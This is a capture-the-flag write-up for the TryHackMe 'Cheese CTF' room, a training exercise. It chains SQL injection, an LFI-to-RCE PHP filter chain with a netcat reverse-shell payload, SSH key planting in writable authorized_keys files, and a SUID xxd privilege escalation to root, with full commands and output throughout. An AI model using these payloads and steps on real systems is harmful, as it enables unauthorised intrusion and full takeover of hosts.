Post

TryHackMe: Cheese CTF

Cheese CTF was a straightforward room where we used SQL injection to bypass a login page and discovered an endpoint vulnerable to LFI. By utilizing PHP filters chain to turn the LFI into RCE, we gained a foothold on the machine. After that, we exploited a writable authorized_keys file to pivot to another user. As this user, we fixed a syntax error in a timer and used sudo privileges to start it, which allowed us to run a service that created a SUID binary. By exploiting this SUID binary, we were able to escalate our privileges to the root user.

Tryhackme Room Link

Initial Enumeration

Nmap Scan

Scanning for open ports using nmap is largely ineffective in this room due to port spoofing, so we can skip that step.

Web 80

By checking the most common ports, we can see that a custom web application is running on port 80.

Web 80 Index

Shell as www-data

Discovering LFI

Clicking the login button on the index page redirects us to /login.php, where we encounter a login form.

Web 80 Login

After trying a couple of simple SQL injection payloads, we are able to bypass the login using the payload ' || 1=1;-- - as the username.

Web 80 Login SQL Injection

After bypassing the login, we are redirected to http://10.10.184.98/secret-script.php?file=supersecretadminpanel.html, where the file parameter is particularly interesting. Additionally, by checking the other links on the page, we notice the application also uses the PHP filters in the file parameter.

Web 80 Admin Panel

It is also possible to discover the /secret-script.php endpoint by fuzzing the web application for files, which reveals messages.html that links to it. Since there is no authentication mechanism, you can access it directly without logging in.

Since the application seems to accept PHP filters, we can try using the convert.base64-encode filter to read the source code of the PHP pages.

By examining the source code of secret-script.php, we see that it simply takes the file parameter and calls include with it.

1
2
3
4
5
6
7
8
$ curl -s 'http://10.10.184.98/secret-script.php?file=php://filter/convert.base64-encode/resource=secret-script.php' | base64 -d
<?php
  //echo "Hello World";
  if(isset($_GET['file'])) {
    $file = $_GET['file'];
    include($file);
  }
?>

RCE with PHP Filters Chain

At this point, we can achieve RCE using PHP filters chain, as described here.

First, we need to generate a payload using the php_filter_chain_generator.py.

1
$ python3 php_filter_chain_generator.py --chain '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.11.72.22 443 >/tmp/f"); ?>' | grep '^php' > payload.txt

Now, by sending our payload as the file parameter, we obtain a shell as the www-data user.

1
$ curl -s "http://10.10.184.98/secret-script.php?file=$(cat payload.txt)"
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.72.22] from (UNKNOWN) [10.10.184.98] 40680
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@cheesectf:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@cheesectf:/var/www/html$ ^Z
zsh: suspended  nc -lvnp 443
$ stty raw -echo; fg
[1]  + continued  nc -lvnp 443
www-data@cheesectf:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as comte

While checking for files writable by the www-data user, we discover /home/comte/.ssh/authorized_keys.

1
2
3
www-data@cheesectf:/var/www/html$ find /  -type f -writable 2>/dev/null | grep -Ev '^(/proc|/snap|/sys|/dev)'
/home/comte/.ssh/authorized_keys
/etc/systemd/system/exploit.timer

To get a shell as the comte user, we can simply add an SSH key to the authorized_keys file.

First, we need to generate an SSH key.

1
2
3
4
$ ssh-keygen -f id_ed25519 -t ed25519

$ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMh5/bXQHhNglSUiAYM7seONoiiQB7hVAr7HeeDaEIF0 kali@kali

Next, we write the public key to the /home/comte/.ssh/authorized_keys file.

1
www-data@cheesectf:/var/www/html$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMh5/bXQHhNglSUiAYM7seONoiiQB7hVAr7HeeDaEIF0 kali@kali' > /home/comte/.ssh/authorized_keys

Now, using the private key, we can SSH into the system and obtain a shell as the comte user, allowing us to read the user flag.

1
2
3
4
5
6
$ ssh -i id_ed25519 comte@10.10.184.98
...
comte@cheesectf:~$ id
uid=1000(comte) gid=1000(comte) groups=1000(comte),24(cdrom),30(dip),46(plugdev)
comte@cheesectf:~$ wc -c user.txt
4276 user.txt

Shell as root

Checking the sudo privileges for the comte user, we see that we can reload the configuration files for systemd and manually start the exploit.timer, which will in turn trigger the execution of exploit.service.

1
2
3
4
5
6
comte@cheesectf:~$ sudo -l
User comte may run the following commands on cheesectf:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer

Upon checking the exploit.timer, we find that it is quite simple.

1
2
3
4
5
6
7
8
9
comte@cheesectf:~$ cat /etc/systemd/system/exploit.timer
[Unit]
Description=Exploit Timer

[Timer]
OnBootSec=

[Install]
WantedBy=timers.target

And, checking the exploit.service, we see that when it runs, it copies the xxd binary to /opt and sets the SUID bit for the copied binary.

1
2
3
4
5
6
7
comte@cheesectf:~$ cat /etc/systemd/system/exploit.service
[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

If we try to reload the configuration and start the exploit.timer as it is, we will see that it fails.

1
2
3
4
5
6
7
8
9
10
comte@cheesectf:~$ sudo /bin/systemctl daemon-reload
comte@cheesectf:~$ sudo /bin/systemctl start exploit.timer
Failed to start exploit.timer: Unit exploit.timer has a bad unit file setting.
See system logs and 'systemctl status exploit.timer' for details.
comte@cheesectf:~$ systemctl status exploit.timer
● exploit.timer - Exploit Timer
     Loaded: bad-setting (Reason: Unit exploit.timer has a bad unit file setting.)
     Active: inactive (dead)
    Trigger: n/a
   Triggers: ● exploit.service

This is due to the OnBootSec value not being present in the unit configuration file.

1
2
3
4
...
[Timer]
OnBootSec=
...

From our previous enumeration, we already noted that the exploit.timer file was writable.

1
2
comte@cheesectf:~$ ls -la /etc/systemd/system/exploit.timer
-rwxrwxrwx 1 root root 87 Mar 29 16:25 /etc/systemd/system/exploit.timer

So, we can simply add the missing value to the unit file to resolve the error.

1
2
3
4
5
6
7
8
9
10
comte@cheesectf:~$ nano /etc/systemd/system/exploit.timer
comte@cheesectf:~$ cat /etc/systemd/system/exploit.timer
[Unit]
Description=Exploit Timer

[Timer]
OnBootSec=5s

[Install]
WantedBy=timers.target

Now, after reloading the configuration and starting the timer manually once more, we see that it successfully triggers the exploit.service and creates the SUID binary as expected.

1
2
3
4
5
6
7
8
9
10
11
12
13
comte@cheesectf:~$ sudo /bin/systemctl daemon-reload
comte@cheesectf:~$ sudo /bin/systemctl start exploit.timer
comte@cheesectf:~$ systemctl status exploit.timer
● exploit.timer - Exploit Timer
     Loaded: loaded (/etc/systemd/system/exploit.timer; disabled; vendor preset: enabled)
     Active: active (elapsed) since Wed 2024-09-25 02:41:41 UTC; 4s ago
    Trigger: n/a
   Triggers: ● exploit.service
comte@cheesectf:~$ ls -la /opt
total 28
drwxr-xr-x  2 root root  4096 Sep 25 02:41 .
drwxr-xr-x 19 root root  4096 Sep 27  2023 ..
-rwsr-sr-x  1 root root 18712 Sep 25 02:41 xxd

Checking the GTFObins page for the xxd binary, we see that it can be used for writing to files.

We can leverage this to add an SSH key for the root user.

1
comte@cheesectf:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMh5/bXQHhNglSUiAYM7seONoiiQB7hVAr7HeeDaEIF0 kali@kali' | xxd | /opt/xxd -r - /root/.ssh/authorized_keys

Now, using the same key as before, we can SSH into the system and obtain a shell as the root user, allowing us to read the root flag.

1
2
3
4
5
6
$ ssh -i id_ed25519 root@10.10.184.98
...
root@cheesectf:~# id
uid=0(root) gid=0(root) groups=0(root)
root@cheesectf:~# wc -c root.txt
321 root.txt
This post is licensed under CC BY 4.0 by the author.